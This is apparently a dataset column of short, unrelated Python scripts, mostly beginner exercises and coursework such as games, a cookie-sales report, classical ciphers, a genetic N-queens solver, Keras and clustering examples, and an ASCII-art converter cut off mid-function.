text stringlengths 37 1.41M |
|---|
# Official Name: Janet Lee
# Lab section: M3
# email: jlee67@syr.edu
# Assignment: Assignment 3, problem 1.
# Date: September 14, 2019
# Compute the time lapse of seeing to hearing a lightning strike
def main():
#Ask user how many lines
l= eval(input("How many lines do you want in your table? "))
#Print headers
print("Time", "\t", "Distance", "\t", "Distance")
print("seconds", "feet", "\t","\t", "miles")
#Compute time lapse
sum=0
for i in range (0, 5*l, 5):
sum=sum+(i/10)
s=1100*i/10
m=s/5280
#Print results
print(i/10, "\t", s, "\t", "\t", m)
main()
|
#Janet Lee
#Lab M3
#processCookies.py
#Obtain information from the file cookieSales.txt.
#Print how many kids there are and their names.
#Print the total number of Samoas sold.
#From a line already read from a file, place the different
# pieces of data in well named variables of a good type.
def getCookieData(aLine):
aList=aLine.split()
name=aList[0] + ' ' + aList[1]
samoas=int(aList[3]) #notice int
thinm=int(aList[2])
shortb=int(aList[4])
return name,thinm,samoas,shortb
def main():
#open the input file
infile=open("cookieSales2019.txt","r")
#read the file into a list inputList
inputList=infile.readlines()
#compute how many kids there are
numLines=len(inputList)
numKids=numLines-2
print("There are " + str(numKids) + " kids selling cookies.") #notice str
for i in range(numLines):
print(inputList[i].rstrip())
#print(inputList[i])
#close and reopen to be back at the beginning of the file
infile.close()
infile=open("cookieSales2019.txt","r")
#read and ignore the header and the blank line
infile.readline()
infile.readline()
#print the names of all the kids and compute the Samoas sales.
sumThinm=0
sumSamoas=0
sumShortb=0
for line in infile:
name, thinm, samoas, shortb = getCookieData(line)
sumThinm=sumThinm+thinm
sumSamoas=sumSamoas + samoas #notice int
sumShortb=sumShortb+shortb
print(name, "sold", thinm, "boxes of Thin Mint Cookies,", samoas, "boxes of Samoa Cookies, and", shortb, "boxes of Shortbread Cookies sold")
#print the final total
print("There were {0} boxes of Thin Mints sold.".format(sumThinm))
print("There were {0} boxes of Samoas sold.".format(sumSamoas))
print("There were {0} boxes of Shortbreads sold.".format(sumShortb))
#close the file
infile.close()
main()
##There are 3 kids selling cookies.
##Name Thin Mints Samoas Shortbreads
##
##Susie Fong 10 3 5
##Megan LaPlant 30 20 55
##Shoban Freeman 45 15 0
##Susie Fong sold 10 boxes of Thin Mint Cookies, 3 boxes of Samoa Cookies, and 5 boxes of Shortbread Cookies sold
##Megan LaPlant sold 30 boxes of Thin Mint Cookies, 20 boxes of Samoa Cookies, and 55 boxes of Shortbread Cookies sold
##Shoban Freeman sold 45 boxes of Thin Mint Cookies, 15 boxes of Samoa Cookies, and 0 boxes of Shortbread Cookies sold
##There were 85 boxes of Thin Mints sold.
##There were 38 boxes of Samoas sold.
##There were 60 boxes of Shortbreads sold.
|
#Janet Lee
#LabM3
#Snowman.py
#Introduction to functions with no parameters
#and no return values
# What does this do?
def snowball():
s='*'
print("{0:>11}".format("****"))
print("{0:>7}{0:>6}".format("**"))
print("{0:>5}{0:>9}".format(s))
print("{0:>4}{0:>11}".format(s))
print("{0:>4}{0:>11}".format(s))
print("{0:>5}{0:>9}".format(s))
print("{0:>7}{0:>6}".format("**"))
print("{0:>11}".format("****"))
## end snowball
#Create hat
def hat():
print("{0:>11}".format("****"))
print("{0:>11}".format("****"))
print("{0:>15}".format("************"))
def main():
hat()
snowball()
snowball()
snowball()
main()
|
import random
print "Rock Paper Scissors\n G A M E";
victorias = 0;
derrotas = 0;
var = 1;
array = ["nada","piedra","papel","tijeras"];
while var == 1:
print "";
print
tirada = int(raw_input("\nIntroduce your movement: \n 1-Rock\n 2-Paper\n 3-Scissors"));
maquina = random.randint(1,3);
print "\nTu tirada es %s y la maquina tira %s" %(array[tirada], array[maquina]);
if tirada - maquina == -2: print 'Ganas'; victorias = victorias + 1;
elif tirada - maquina == 2: print "Pierdes"; derrotas = derrotas + 1;
elif tirada - maquina == (1): print "Ganas"; victorias = victorias + 1;
elif tirada - maquina == -1: print "Pierdes"; derrotas = derrotas + 1;
elif tirada - maquina == 0: print "Empate";
print "Vas %d a %d contra la maquina" %(victorias, derrotas);
|
#!/usr/bin/python3
import sys
import copy
import math
import random
class Board:
def __init__(self, board_size, goal):
''' initialize a board'''
self.board_size = board_size
self.goal = goal
self.fitness = 0
# put first items in bord
self.queens = list(range(self.board_size))
# switch half of them randomly
self.switch(self.board_size / 2)
def __del__(self):
pass
def switch(self, count):
''' swithed queen places 'count' times'''
count = int(count)
for i in range(count):
j = random.randint(0, self.board_size - 1)
k = random.randint(0, self.board_size - 1)
self.queens[j], self.queens[k] = self.queens[k], self.queens[j]
# recheck fitness after moving queens
self.compute_fitness()
def regenerate(self):
''' randomly moves 3 queens
used for creating new generation'''
# randomly switvh 2 itmes
self.switch(2)
# get a random number if it's lower than 0.25 switch anither item
if random.uniform(0, 1) < 0.25:
self.switch(1)
def compute_fitness(self):
''' computes fitness of current board
bigger number is better'''
self.fitness = self.goal
for i in range(self.board_size):
for j in range(i + 1, self.board_size):
if math.fabs(self.queens[i] - self.queens[j]) == j - i:
# for each queen guarding another one reduce fitness by 1
self.fitness -= 1
def print_board(self):
''' prints current board in a nice way!'''
for row in range(self.board_size):
print("", end="|")
queen = self.queens.index(row)
for col in range(self.board_size):
if col == queen:
print("Q", end="|")
else:
print("_", end="|")
print("")
class GaQueens:
def __init__(self, board_size, population_size, generation_size):
# store values to class properties
self.board_size = board_size
self.population_size = population_size
self.generation_size = generation_size
# counts how many generations checked
self.generation_count = 0
# fitness value of goal
self.goal = int((self.board_size * (self.board_size - 1)) / 2)
# current populations will go here
self.population = []
# creates the first population
self.first_generation()
while True:
# if current population reached goal stop checking
if self.is_goal_reached() == True:
break
# don't create more generations if program reached generation_size
if -1 < self.generation_size <= self.generation_count:
break
# create another generation from last generation
# (discards old generation)
self.next_generation()
# prints program result and exits
print("==================================================================")
# if couldn't find answer
if -1 < self.generation_size <= self.generation_count:
print("Couldn't find result in %d generations" % self.generation_count)
# if there was a result, print it
elif self.is_goal_reached():
print("Correct Answer found in generation %s" % self.generation_count)
for population in self.population:
if population.fitness == self.goal:
# print result as a one lined list
print(population.queens)
# print result as a nice game board
population.print_board()
def __del__(self):
pass
def is_goal_reached(self):
''' returns True if current population reached goal'''
for population in self.population:
if population.fitness == self.goal:
return True
return False
def random_selection(self):
''' select some items from current population for next generation
selection are items with highest fit value
returns a list of selections'''
population_list = []
for i in range(len(self.population)):
population_list.append((i, self.population[i].fitness))
population_list.sort(key=lambda pop_item: pop_item[1], reverse=True)
return population_list[:int(len(population_list) / 3)]
def first_generation(self):
''' creates the first generation '''
for i in range(self.population_size):
self.population.append(Board(self.board_size, self.goal))
self.print_population()
def next_generation(self):
''' creates next generations (all except first one)'''
# add to generation counter
self.generation_count += 1
# get a list of selections to create next generation
selections = self.random_selection()
# creates a new population using given selection
new_population = []
while len(new_population) < self.population_size:
sel = random.choice(selections)[0]
new_population.append(copy.deepcopy(self.population[sel]))
self.population = new_population
# make random changes to current population
for population in self.population:
population.regenerate()
self.print_population(selections)
def print_population(self, selections=None):
''' print all items in current population
Population #15
Using: [1]
0 : (25) [6, 1, 3, 0, 2, 4, 7, 5]
line 1: Population #15
shows current population id
line 2: Using: [1]
shows id of items from last generation
used for creating current generation
line 3: 0 : (25) [0, 1, 2, 3, 4, 5, 6, 7]
0 -> item is
(25) -> fitness for current item
[0, 1, 2, 3, 4, 5, 7] -> queen positions in current item
'''
print("Population #%d" % self.generation_count)
if selections == None:
selections = []
print(" Using: %s" % str([sel[0] for sel in selections]))
count = 0
for population in self.population:
print("%8d : (%d) %s" % (count, population.fitness, str(population.queens)))
count += 1
if __name__ == '__main__':
# default values
# size of board also shows how many queens are in game
board_size = 14
# size of each generation
population_size = 10
# how many generations should I check
# -1 for no generation limit. (search to find a result)
generation_size = -1
# if there is arguments use them instead of default values
if len(sys.argv) == 4:
board_size = int(sys.argv[1])
population_size = int(sys.argv[2])
generation_size = int(sys.argv[3])
# print some information about current quest!
print("Starting:")
print(" board size : ", board_size)
print(" population size : ", population_size)
print(" generation size : ", generation_size)
print("==================================================================")
# Run!
GaQueens(board_size, population_size, generation_size) |
########################################################################
# #100DaysofCode By Jonathan Rhau #
# #
# Day 4 - Rock Paper Scissors #
# #
########################################################################
from utils import rock, paper, scissors, print_result
import random
choices = [rock, paper, scissors]
print("Welcome to the Rock, Paper, Scissors challenge!")
play_msg = "Wanna Play? Y or N: "
while(input(play_msg).lower() == "y"):
p1 = input("What do you choose?\n\t0 = Rock\n\t1 = Paper \n\t2 = Scissors\n\nYou choose: ")
# Restart the whileloop if invalid choice
if p1 != "0" and p1 != "1" and p1 != "2":
print("Invalid choice...")
continue
p1 = int(p1)
pc = random.choice(choices)
print_result(choices[p1], pc)
# Using a circular logic where I compare if my choice is located
# before or after the computer choice in my choices list.
if choices[p1] == pc:
print("This is a DRAW!")
elif choices[p1 -1] == pc:
print("You WON!")
else:
print("You LOST!")
play_msg = "\nWanna play again? Y or N: " |
########################################################################
# #100DaysofCode By Jonathan Rhau #
# #
# Day 22 - Ping Pong Game #
# #
########################################################################
from screen import Board
from score import Score
from paddle import Paddle
from ball import Ball
board = Board()
score = Score(board.SCREEN_SIZE)
ball = Ball(board.SCREEN_SIZE)
p_left = Paddle(board.SCREEN_SIZE[0]/-2 + 20)
p_right = Paddle(board.SCREEN_SIZE[0]/2 - 25)
board.refresh()
board.screen.listen()
board.screen.onkeypress(p_left.up, "w")
board.screen.onkeypress(p_left.down, "s")
board.screen.onkeypress(p_right.up, "Up")
board.screen.onkeypress(p_right.down, "Down")
while True:
board.refresh()
# Using the heading direction to fix some instance where the ball would
# rebounce multiple time on the same paddle.
heading_left = 90 < ball.heading() < 270
# Make the ball bounce only if it is headding the proper direction
for paddle, proper_direction in [(p_left, heading_left), (p_right, not heading_left)]:
if all([ball.distance(paddle) <= 50, abs(paddle.xcor() - ball.xcor()) <= 25, proper_direction]):
ball.bounce(ball.distance(paddle))
board.accelerate()
exit_direction = ball.move()
if any(exit_direction):
score.increase(*exit_direction)
for func in [ball, p_left, p_right, board]:
func.reset()
board.screen.exitonclick()
|
########################################################################
# #100DaysofCode By Jonathan Rhau #
# #
# Day 16 - Coffee Machine (OOP) #
# #
########################################################################
from menu import Menu, MenuItem
from coffee_maker import CoffeeMaker
from money_machine import MoneyMachine
cm = CoffeeMaker()
mm = MoneyMachine()
menu = Menu()
is_on = True
while is_on:
choice = input(f"What would you like? ({menu.get_items()}): ").lower()
if choice == "off":
is_on = False
elif choice == "report":
cm.report()
mm.report()
elif choice in menu.get_items().split("/"):
drink = menu.find_drink(choice)
if cm.is_resource_sufficient(drink):
if mm.make_payment(drink.cost):
cm.make_coffee(drink)
|
########################################################################
# #100DaysofCode By Jonathan Rhau #
# #
# Day 8 - Caesar Cipher #
# #
########################################################################
from art import logo
import os
alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
def reset_screen():
os.system("clear") if os.name == "posix" else os.system("cls")
print(logo + "\n")
def caesar(text, shift, cipher_direction="encode"):
# Remove the extra to get a number between 0 and len(alphabet)
shift %= len(alphabet)
if cipher_direction == "decode":
shift *= -1
result = ""
for char in text:
if char.isalpha():
# Using % here to avoid index error if the new shifted position
# is greater than the size of the alphabet list
result += alphabet[(alphabet.index(char) + shift) % len(alphabet)]
else:
result += char
print("\n" + "-"*40 + f"\n\nHere's the {cipher_direction}d result:")
print(f"\t{result}\n")
def executor(restart=True):
if restart:
reset_screen()
direction = input("Type 'encode' to encrypt, type 'decode' to decrypt:\n\t")
text = input("\nType your message:\n\t").lower()
shift = int(input("\nType the shift number:\n\t"))
caesar(text, shift, direction)
# Recall itself if user wanna continue
executor(input("\n Wanna cipher again? Y or N: ").lower()=="y")
############# MAIN ############
reset_screen()
executor() |
# -*- coding: utf-8 -*-
"""
Created on Fri Feb 15 13:55:05 2019
@author: Vanathi
"""
# Load the PANDAS library
import pandas
import matplotlib.pyplot as plt
import numpy as np
import itertools
from itertools import combinations
#Suppose a market basket can possibly contain these seven items: A, B, C, D, E, F, and G.
#a) (1 point) What is the number of possible itemsets?
n=7
print ('Total number of items',n)
print('Solution-(a)-Possible item set =', (pow(2,n)-1))
#b) (3 points) List all the possible 1-itemsets.
p = list(itertools.combinations(['A','B','C','D','E','F','G'], 1))
print ('The 1- itemsets are:')
print('\n')
print(p)
print('\n')
print ('Solution-(b)-The number of possible itemsets are',len(p))
#c) (3 points) List all the possible 2-itemsets.
p = list(itertools.combinations(['A','B','C','D','E','F','G'], 2))
print ('The 2- itemsets are:')
print('\n')
print(p)
print('\n')
print ('Solution-(c)-The number of possible itemsets are',len(p))
#d) (3 points) List all the possible 3-itemsets.
p = list(itertools.combinations(['A','B','C','D','E','F','G'], 3))
print ('The 3- itemsets are:')
print('\n')
print(p)
print('\n')
print ('Solution-(d)-The number of possible itemsets are',len(p))
#e) (3 points) List all the possible 4-itemsets.
p = list(itertools.combinations(['A','B','C','D','E','F','G'], 4))
print ('The 4- itemsets are:')
print('\n')
print(p)
print('\n')
print ('Solution-(e)-The number of possible itemsets are',len(p))
#f) (3 points) List all the possible 5-itemsets.
p = list(itertools.combinations(['A','B','C','D','E','F','G'], 5))
print ('The 5- itemsets are:')
print('\n')
print(p)
print('\n')
print ('Solution-(e)-The number of possible itemsets are',len(p))
#g) (3 points) List all the possible 6-itemsets.
p = list(itertools.combinations(['A','B','C','D','E','F','G'], 6))
print ('The 6- itemsets are:')
print('\n')
print(p)
print('\n')
print ('Solution-(e)-The number of possible itemsets are',len(p))
#e) (3 points) List all the possible 7-itemsets.
p = list(itertools.combinations(['A','B','C','D','E','F','G'], 7))
print ('The 7- itemsets are:')
print('\n')
print(p)
print('\n')
print ('Solution-(e)-The number of possible itemsets are',len(p))
|
#Training a NN to classify IMDB reviews as positive or negative in Keras
#Works by taking in data on the most used 10000 words, seeing what words are present in a given review,
#and then training a model to classify reviews as positive or negative based on reviews in a training set.
#Import IMDB dataset, already present in Keras
from keras.datasets import imdb
(train_data, train_labels), (test_data, test_labels) = imdb.load_data(num_words = 10000)
import numpy as np
#One-hot code data into tensor form
def makeTensor(sequences, dimension=10000):
output = np.zeros((len(sequences), dimension))
#i is the number of the seqeunce
#sequence gives the words that do appear in a review as a binary vector
for i, sequence in enumerate(sequences):
output[i, sequence] = 1
return output
tensor_train = makeTensor(train_data)
tensor_test = makeTensor(test_data)
#Turn labels into arrays for ease of use
label_train = np.asarray(train_labels).astype('float32')
label_test = np.asarray(test_labels).astype('float32')
#NN will have 2 intermediate layers with 16 hidden units each (using relu to override linear transformations only)
#and one layer which provides a scalar output
#relu also keeps >0 which is useful in this case
from keras import models
from keras import layers
#Sequential used for creating models with layers stacked sequentially on top of one another
model = models.Sequential()
#Add dense layers to model
model.add(layers.Dense(16, activation = 'relu', input_shape = (10000,))) #inputs are 10000 length vectors
model.add(layers.Dense(16, activation = 'relu'))
model.add(layers.Dense(1, activation = 'sigmoid')) #sigmoid to output probability between 0-1 of positive review
#Validation set of 10000 reviews, split up training set
tensor_val = tensor_train[:10000]
partial_tensor_train = tensor_train[10000:]
label_val = label_train[:10000]
partial_label_train = label_train[10000:]
#Training model
#Now need loss function, using binary_crossentropy because we're dealing with probabilities
#Optimizer is rmsprop
model.compile(optimizer = 'rmsprop', loss = 'binary_crossentropy', metrics = ['accuracy'])
#Use history to see loss optimization
history = model.fit(partial_tensor_train, partial_label_train, epochs = 10, batch_size = 512, validation_data = (tensor_val, label_val))
#Graph the loss function
import matplotlib.pyplot as grapher
history_dict = history.history
loss_values = history_dict['loss']
val_loss_values = history_dict['val_loss']
epochs = range(1, 11)
grapher.plot(epochs, loss_values, 'bo', label = "Training Set")
grapher.plot(epochs, val_loss_values, 'b', label = "Validation Set")
grapher.xlabel('Epochs')
grapher.ylabel('Loss')
grapher.legend()
grapher.show('Figure1')
#Graph accuracy
grapher.clf()
acc_values = history_dict['accuracy']
val_acc_values = history_dict['val_accuracy']
grapher.plot(epochs, acc_values, 'bo', label = "Training Set")
grapher.plot(epochs, val_acc_values, 'b', label = "Validation Set")
grapher.xlabel('Epochs')
grapher.ylabel('Accuracy')
grapher.legend()
grapher.show('Figure2') |
import numpy as np
from sklearn.cluster import KMeans
import networkx as nx
import seaborn as sns
sns.set()
class Spectral:
"""
Performs spectral clustering from scratch. In spectral clustering, the affinity, and not the absolute location
(i.e. k-means), determines what points fall under which cluster. Can only be applied to a graph of connected
nodes.
"""
def __init__(self, data, hidden_dim=2):
"""
Constructs necessary parameter for Spectral.
:param data: array of nodes to build edges from
"""
self.data = data
self.hidden_dim = hidden_dim
def __call__(self):
"""
Performs entire clustering algorithm, prints several matrices, and draws graph w/ corresponding clusters.
:return: nothing
"""
# construct a similarity graph
G = self.construct_graph()
# determine the Adjacency matrix W, Degree matrix D and the Laplacian matrix L
L = self.get_matrices(G)
# compute the eigenvectors of the matrix L
e, v = self.compute_eigens(L)
# using the second smallest eigenvector as input, train a k-means model and use it to classify the data
labels = self.train_kmeans(e, v)
# get color list
colors = self.make_colors(labels)
# draw
self.draw_graph(G, node_color=colors)
@staticmethod
def make_colors(labels):
"""
Utility function to map cluster labels to colors for plot.
:param labels: label output from kmeans
:return: mapped color list
"""
colors = []
for label in labels:
if label == 0:
colors.append('r')
elif label == 1:
colors.append('b')
elif label == 2:
colors.append('g')
return colors
@staticmethod
def draw_graph(G, node_color='r'):
"""
Utility function to draw connected node graph.
:param node_color: list or single string for node colors
:param G: graph to draw
:return: nothing
"""
pos = nx.spring_layout(G)
nx.draw_networkx_nodes(G, pos, node_color=node_color)
nx.draw_networkx_labels(G, pos)
nx.draw_networkx_edges(G, pos, width=1.0, alpha=0.5)
def construct_graph(self):
"""
Generates a graph and adds edges based on initialized data object.
:return: graph
"""
G = nx.Graph()
G.add_edges_from(self.data)
return G
@staticmethod
def get_matrices(G):
"""
Computes adjacency matrix, degree matrix, and Laplacian matrix.
:param G: graph
:return: laplacian matrix
"""
# adjacency matrix
W = nx.adjacency_matrix(G)
print('adjacency matrix:')
print(W.todense())
# construct the degree matrix
D = np.diag(np.sum(np.array(W.todense()), axis=1))
print('degree matrix:')
print(D)
# laplacian matrix, subtract adjacency matrix from degree matrix
L = D - W
print('laplacian matrix:')
print(L)
return L
@staticmethod
def compute_eigens(L):
"""
Computes eigenvalues and eigenvectors of inputted Laplacian matrix.
:param L: laplacian matrix
:return: eigenvalues, eigenvectors
"""
# compute the eigenvalues and eigenvectors of the laplacian
e, v = np.linalg.eig(L)
return e, v
@staticmethod
def train_kmeans(e, v):
"""
Trains a k-means model using the second smallest eigenvector as input and uses it to classify the data.
:param e: eigenvalues
:param v: eigenvectors
:return: cluster labels
"""
# using the second smallest eigenvector, use K-means to classify the nodes based
# off their corresponding values in the eigenvector
i = np.where(e < 0.5)[0]
U = np.array(v[:, i[1]])
km = KMeans(init='k-means++', n_clusters=3)
km.fit(U)
print(km.labels_)
return km.labels_
|
class Person:
def __init__(self, name):
self.name = name
def __str__(self):
return f'{self.__class__.__name__} class, Obj name: {self.name}'
person = Person("Arijona")
print(person.__str__())
|
# This program showed that how to use __init__() method in class
class Homosapien:
def __init__(self, name, age, no_of_hand, no_of_leg, specification):
self.name = name
self.age = age
self.no_of_hand = no_of_hand
self.no_of_leg = no_of_leg
self.specification = specification
def show_details(self):
print("Name= ", self.name)
print("Age= ", self.age)
print("No of Hand= ", self.no_of_hand)
print("No of Leg= ", self.no_of_leg)
print("Specification= ", self.specification)
# object creation ...
man = Homosapien("Nabil", 19, 2, 2, "Human")
man.show_details()
print()
# Example of Inheritance:
#
"""
Rules of constructor:-
class ClassName(ParentClass):
variables
names
----
----
"""
# Now I create an another class name Woman ... That inherit the Homosapien class
class Woman(Homosapien):
pass
pinki = Woman("Pinki", 22, 2, 2, "Human")
pinki.show_details()
|
def decToHex():
numero_decimal = int(input("escolha um numero decimal: "))
hexadecimal = ""
while numero_decimal != 0:
restante = mudaDigito(numero_decimal % 16)
hexadecimal = str(restante) + hexadecimal
numero_decimal = int(numero_decimal / 16)
return print(hexadecimal)
def mudaDigito(digito):
decimal = [10 , 11 , 12 , 13 , 14 , 15 ]
hexadecimal = ["A", "B", "C", "D", "E", "F"]
for contador in range(7):
if digito == decimal[contador - 1]: # inverte os digitos
digito = hexadecimal[contador - 1] # inverte os digitos
return digito
if __name__ == '__main__':
decToHex()
|
# Press Shift+F10 to execute it or replace it with your code.
# Vigenere cipher
import string
from typing import List, Any, Union
input = "The Avengers could be considered as a Lee and Kirby's renovation of a previous superhero team, All-Winners Squad, who appeared in comic books series published by Marvel Comics' predecessor Timely Comics. A rotating roster became a hallmark of the series, although one theme remained consistent: the Avengers fight the foes no single superhero can withstand. The team, famous for its battle cry of Avengers Assemble!, has featured humans, superhumans, mutants, Inhumans, deities, androids, aliens, legendary beings, and even former villains."
print(len(input))
frequency_letters = [0.08167, 0.01492, 0.02782, 0.04253, 0.12702, 0.02228, 0.02015,
0.06094, 0.06966, 0.00153, 0.00772, 0.04025, 0.02406, 0.06749,
0.07507, 0.01929, 0.00095, 0.05987, 0.06327, 0.09056, 0.02758,
0.00978, 0.02360, 0.00150, 0.01974, 0.00074]
def filter_text(input_string):
txt = []
for char in input_string:
if char.islower():
txt.append(char)
elif char.isupper():
txt.append(char.lower())
return "".join(txt)
def encryption(input_string, key):
cipher_text = []
number_string = []
number_key = []
number_of_keys = len(key)
integer = 0
start = ord("a")
for char in input_string:
x = ord(char) - start
number_string.append(x)
integer = integer + 1
for integer in range(len(key)):
result = ord(key[integer]) - start
number_key.append(result)
for integer in range(len(input_string)):
result = (number_string[integer] + number_key[integer % number_of_keys])
result %= 26
result += 65
result = chr(result)
cipher_text.append(result)
return "".join(cipher_text)
def decryption(cipher_text, key):
original_string = []
number_string = []
number_key = []
number_of_keys = len(key)
integer = 0
start1 = ord('A')
start2 = ord('a')
for char in cipher_text:
x = ord(char) - start1
number_string.append(x)
integer = integer + 1
for integer in range(len(key)):
result = ord(key[integer]) - start2
number_key.append(result)
for integer in range(len(cipher_text)):
result = (number_string[integer] - number_key[integer % number_of_keys] + 26)
result %= 26
result += 65
result = chr(result)
original_string.append(result)
return "".join(original_string)
def get_index(cipher_text):
n = float(len(cipher_text))
frequency_sum = 0.0
for char in input:
frequency_sum += cipher_text.count(char) * (cipher_text.count(char) - 1)
# using the IC formula
index_of_coincidence = frequency_sum / (n * (n - 1))
return index_of_coincidence
def key_length(cipher_text):
ic_numbers = []
for guess in range(0, 20):
ic_sum = 0.0
avg_ic = 0.0
for i in range(guess):
sequence = ""
# split text into sequence
for j in range(0, len(cipher_text[i:]), guess):
sequence += cipher_text[i + j]
ic_sum += get_index(sequence)
if not guess == 0:
avg_ic = ic_sum / guess
ic_numbers.append(avg_ic) # stored all indexes of coincidence
# returns the most likely probability of key length
probability_key_first = ic_numbers.index(sorted(ic_numbers, reverse=True)[0])
probability_key_second = ic_numbers.index(sorted(ic_numbers, reverse=True)[1])
# print(probability_key_second)
# print(probability_key_first)
# cmmdc
if probability_key_first % probability_key_second == 0:
return probability_key_second
else:
return probability_key_first
# i need the frequency for guessing the key
# for probabilstic distribution
def frequency(statement):
total = [0] * 26
for i in range(26):
sum = 0.0
statement_offset = [chr(((ord(statement[j]) - 97 - i) % 26) + 97) for j in range(len(statement))]
v = [0] * 26
# vector frecv care cauta nr in ASCII
for letter in statement:
v[ord(letter) - ord('A')] += 1
# impart vectorul de frecv pentru a obtine procentajele
for j in range(26):
v[j] *= (1.0 / float(len(statement)))
# compar cu frecventele in engleza
for j in range(26):
sum += ((v[j] - float(frequency_letters[j])) ** 2) / float(frequency_letters[j])
total[i] = sum
shifting = total.index(min(total))
return (shifting + 97)
def key_guess(cipher_text, key_l):
key = ''
# trebuie calculat frecv fiecarei litere din cheie
nr=-1
for i in range(0, key_l):
statement = ''
nr+=1
for j in range(0, len(cipher_text[i:]), key_l):
statement += cipher_text[i + j]
key += chr(frequency(statement)+nr)
return key
key = "abababac"
print(input)
print(key)
decr=key
print(filter_text(input))
x = filter_text(input)
cipher = encryption(x, key)
key_l = key_length(cipher)
key_decr = key_guess(cipher, key_l)
print(encryption(x, key))
print(decryption(cipher, key))
key_l = key_length(cipher)
print(key_l)
print(decr)
|
glossary = {
'string': 'a sequence of characters',
'variable': 'a value that can change, depending on conditions or on information passed to the program',
'list': 'a data structure that is a changeable ordered sequence of elements',
'tuple': 'a sequence of unchangeable objects',
'dictionary': 'an unordered collection of data values, used to store data values like a map',
'print': 'a function to display the output of a program',
'sort': 'function that puts a list in alphabetical order, permanently',
'range': 'function returning a list of integers, the sequence being defined by the arguments passed to it',
'slice': 'a bracket notation that specifies the start and end of the section of the list you wish to use',
'set': 'collection of unique but unordered items'
}
count = 0
for term in glossary:
count += 1
print(f"{count}.) {term}: {glossary[term]}")
|
# Creating a variable, printing, then changing variable value and printing again
message = "TIY 2.1"
print(message)
message = "TIY 2.2"
print(message)
|
def make_shirt(size='large', message='I Love Python'):
print(f"""You ordered a {size.lower()} and it says "{message}".""")
# Large Shirt, Default Message
make_shirt()
# Medium Shirt, Default Message
make_shirt(size='medium')
# Small Shirt, "WUNDERWORLD" message
make_shirt(size='small', message='WUNDERWORLD')
|
import csv
import numpy as np
import matplotlib.pyplot as plt
from datetime import datetime
filename = 'data/san_francisco_2018_temperature.csv'
with open(filename) as f:
reader = csv.reader(f)
header_row = next(reader)
# Automate temperature and station name indexes.
tmax = ''
tmin = ''
name = ''
station_name = ''
for index, column_value in enumerate(header_row):
if column_value == 'TMAX':
tmax = index
elif column_value == 'TMIN':
tmin = index
elif column_value == 'NAME':
name = index
# Get the dates, station name, and high and low temperatures.
dates, highs, lows = [], [], []
for row in reader:
current_date = datetime.strptime(row[2], '%Y-%m-%d')
if not station_name:
station_name = row[name]
try:
high = int(row[tmax])
low = int(row[tmin])
except ValueError:
print(f"Missing data from {current_date}")
else:
dates.append(current_date)
highs.append(high)
lows.append(low)
# Plot the high and low temperatures.
plt.style.use('seaborn')
fig, ax = plt.subplots()
ax.plot(dates, highs, c='red', alpha=0.5)
ax.plot(dates, lows, c='blue', alpha=0.5)
plt.fill_between(dates, highs, lows, facecolor='blue', alpha=0.1)
# Format plot.
title = f"High and Low Temperature - 2018\n{station_name}"
plt.title(title, fontsize=20)
plt.xlabel('', fontsize=16)
fig.autofmt_xdate()
plt.ylabel('Temperature (F)', fontsize=16)
plt.yticks(np.arange(0, 150, step=10))
plt.tick_params(axis='both', which='both', labelsize=16)
plt.show()
|
glossary = {
'string': 'a sequence of characters',
'variable': 'a value that can change, depending on conditions or on information passed to the program',
'list': 'a data structure that is a changeable ordered sequence of elements',
'tuple': 'a sequence of unchangeable objects',
'dictionary': 'an unordered collection of data values, used to store data values like a map'
}
for term in glossary:
print(f"{term}: {glossary[term]}")
|
def make_shirt(size, message):
print(f"""You ordered a {size.lower()} and it says "{message}".""")
# Positional Arguments
make_shirt('medium', 'WUNDERWORLD')
# Key Word Arguments
make_shirt(size='medium', message='WUNDERWORLD')
|
active = True
age = None
price = None
while active:
print("How old are you?")
age = int(input())
if age < 3:
price = 0
active = False
elif 3 <= age <= 12:
price = 10
active = False
elif age > 12:
price = 15
active = False
print(f"A {age}-year old pays {price} dollars.")
|
prompt = "Please tell us what you want on your pizza (Enter 'quit' when done):"
print(prompt)
active = True
while active:
topping = input()
if topping.lower() == 'quit':
active = False
else:
print(f"Adding {topping.lower()}...")
|
import matplotlib.pyplot as plt; plt.rcdefaults()
import matplotlib.pyplot as plt
from die import Die
# Make two D6 dice.
die_1 = Die()
die_2 = Die()
# Roll die and add results to a list.
results = [die_1.roll() + die_2.roll() for roll_num in range(1000)]
# Count the frequency of each number rolled and add it to a list.
max_result = die_1.num_sides + die_2.num_sides
x_values = range(2, max_result+1)
y_values = [results.count(value) for value in x_values]
# Set up plot.
plt.title('Rolling a D6 die 1000 times')
plt.ylabel('Frequency')
plt.xlabel('Number Rolled')
plt.xticks(x_values)
# Plug in numbers to the plot.
plt.bar(x_values, y_values)
plt.show()
|
pizzas = ['pepperoni', 'sausage', 'meat lovers']
for pizza in pizzas:
print(f"I love {pizza} pizza!\n")
print("I love all types of pizza!")
|
def decrypt(stream):
def gen():
for i, c in enumerate(stream):
c = ord(c)
lo_bits = i & 0x03
if lo_bits == 0:
yield c ^ 0x49
elif lo_bits == 1:
yield c ^ 0x43
elif lo_bits == 2:
yield c ^ 0x46
elif lo_bits == 3:
yield c ^ 0x50
return ''.join(chr(c) for c in gen())
if __name__ == '__main__':
print 'yo?'
with open('unpacked/0', 'rb') as input:
with open('0.decrypted.png', 'wb') as output:
output.write(decrypt(input.read()))
with open('unpacked/1', 'rb') as input:
with open('1.decrypted.png', 'wb') as output:
output.write(decrypt(input.read()))
print 'yay'
|
"""
a module that creates ascii art from images
"""
# Import an image processing tool
from PIL import Image
from json import dumps, loads
from subprocess import call
from time import sleep
def main(file):
"""
main process that converts image and prints ascii art
"""
# enter choice
choice = file
try:
image = Image.open(choice)
except:
print("Invalid file.")
exit()
# initialize
text = ''
x_pos, y_pos = 0, 0
# open and resize the image
scale = image.width/200
image = image.resize((int(image.width / scale), int(image.height / scale)))
image = image.resize((int(image.width / 1), int(image.height / 2.3)))
# For every pixel in the image...
while y_pos < image.height:
# find its color
color = image.getpixel((x_pos, y_pos))
# Add a colored space to the text
text += f"\033[48;2;{color[0]};{color[1]};{color[2]}m \033[0m"
# next pixel same line
x_pos += 1
# go to the next line if we have reached the end of a pixel row
if x_pos == image.width - 1:
